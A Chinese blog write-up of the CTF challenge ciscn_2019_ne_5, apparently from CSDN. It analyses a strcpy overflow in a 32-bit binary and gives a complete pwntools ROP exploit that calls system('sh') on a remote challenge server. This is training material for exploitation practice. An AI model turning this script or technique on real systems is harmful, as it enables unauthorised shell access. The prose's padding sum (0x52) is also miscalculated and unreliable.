ciscn_2019_ne_5

本文详细介绍了针对32位程序的栈不可执行保护的漏洞利用,通过ida静态分析发现关键的addlog和getflag函数,特别是getflag中的strcpy函数存在溢出风险。通过构造ROP链,利用程序中已有的system函数和gad、sh字符,最终实现getshell。实验中还展示了如何确定填充长度并提供了exploit代码。

首先checksec查看程序保护机制和位数。32位程序,只开了栈不可执行保护。

ida中静态分析一下,首先要经过password的认证。

主要的功能函数有四个,第四个getflag函数只有在调试分析的时候才会看到,正常运行都是不知道的。(一开始看到这四个功能函数的时候还以为遇到了堆题,2333

 关键的函数就两个,addlog和getflag两个函数。

addlog函数对于我们输入内容的长度没有检测

getflag函数中strcpy函数可以造成溢出

至此,一条rop链思路就出来了,利用程序中system函数调用的gad以及sh字符进行getshell。ROPgadget找到sh字符地址。

另外就是调试需要填充的长度了,可以看到dest形参与ebp的长度是0x48,加上ebp的长度,总共是0x52.

 下面是exp

from pwn import *
from LibcSearcher import *
context(os="linux",arch = "i386")

#++++++++++++++++++++++++++++++++++++++++
filename = "./rop"
# p = process(filename)
p = remote("node4.buuoj.cn",29110)
elf = ELF(filename)
#++++++++++++++++++++++++++++++++++++++++
r = lambda : p.recv()
ru = lambda x : p.recvuntil(x)
sl = lambda x : p.sendline(x)
itr = lambda : p.interactive()
leak = lambda addr : log.success("{:x}".format(addr))

def add_log(message):
	ru("0.Exit")
	sl("1")
	ru("Please input new log info:")
	sl(message)

def display():
	ru("0.Exit")
	sl("2")

def print_log():
	ru("0.Exit")
	sl("3")

def cat_flag():
	ru("0.Exit")
	sl("4")

ru("Please input admin password:")
sl("administrator")

system_call = 0x080486B9
sh = 0x080482ea
padding = "a"*0x48
fake_ebp = "dead"
payload = flat(padding,fake_ebp,system_call,sh)
add_log(payload)
cat_flag()
itr()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值